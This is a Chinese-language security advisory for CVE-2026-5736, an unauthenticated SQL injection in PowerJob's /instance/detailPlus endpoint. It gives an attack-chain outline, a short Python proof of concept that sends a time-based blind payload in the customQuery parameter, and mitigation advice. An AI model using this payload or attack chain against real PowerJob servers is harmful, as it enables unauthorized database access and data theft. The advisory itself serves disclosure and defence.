IPBUF安全漏洞报告
English
CVE-2026-5736 CVSS 7.3 高危

CVE-2026-5736 PowerJob SQL注入漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-5736
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PowerJob

相关标签

SQL注入PowerJob高危漏洞无需认证远程执行

漏洞概述

PowerJob 5.1.0至5.1.2版本存在高危SQL注入漏洞。该漏洞源于`InstanceController.java`中`detailPlus`端点对`customQuery`参数处理不当。攻击者无需认证即可远程利用,通过构造恶意SQL语句导致数据库信息泄露、篡改或服务拒绝响应。

技术细节

该漏洞位于PowerJob服务端组件的`InstanceController.java`文件中,具体影响`detailPlus`接口。在处理用户请求时,系统直接将`customQuery`参数拼接到SQL查询语句中,未进行有效的安全过滤或使用参数化查询。由于CVSS向量显示攻击无需用户交互(UI:N)且无需权限(PR:N),远程攻击者可轻易向该接口发送特制HTTP数据包。成功注入SQL语句后,攻击者可读取敏感数据、修改数据库内容或执行破坏性操作,严重影响系统机密性、完整性和可用性。

攻击链分析

STEP 1
侦察
攻击者通过端口扫描或网络测绘发现目标服务器运行着PowerJob应用(通常端口为7700)。
STEP 2
漏洞探测
攻击者向`/instance/detailPlus`端点发送带有特殊SQL字符的测试请求,验证`customQuery`参数是否存在过滤缺陷。
STEP 3
构造Payload
根据探测结果,构造恶意的SQL注入Payload(如UNION查询或布尔盲注语句),旨在提取数据库结构或敏感数据。
STEP 4
执行攻击
将Payload注入到HTTP请求参数中发送至服务器,服务器后端将其作为SQL指令执行,返回敏感信息或执行恶意命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-ip:7700/instance/detailPlus" # Malicious payload to test SQL injection (Time-based blind) # Testing if the database waits for 5 seconds payload = "1' AND SLEEP(5)-- " params = { "customQuery": payload } try: print(f"Sending request to {target_url} with payload: {payload}") response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection successful!") else: print("[-] Vulnerability may not exist or patched.") except Exception as e: print(f"Error occurred: {e}")

影响范围

PowerJob 5.1.0
PowerJob 5.1.1
PowerJob 5.1.2

防御指南

临时缓解措施
临时缓解措施包括在防火墙或WAF中添加针对`customQuery`参数的SQL注入过滤规则,阻止包含恶意SQL字符的请求。同时,应严格限制对PowerJob管理后台的网络访问,仅允许内网或特定IP地址连接,并加强对数据库异常操作的监控与审计,直至完成官方补丁的更新部署。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表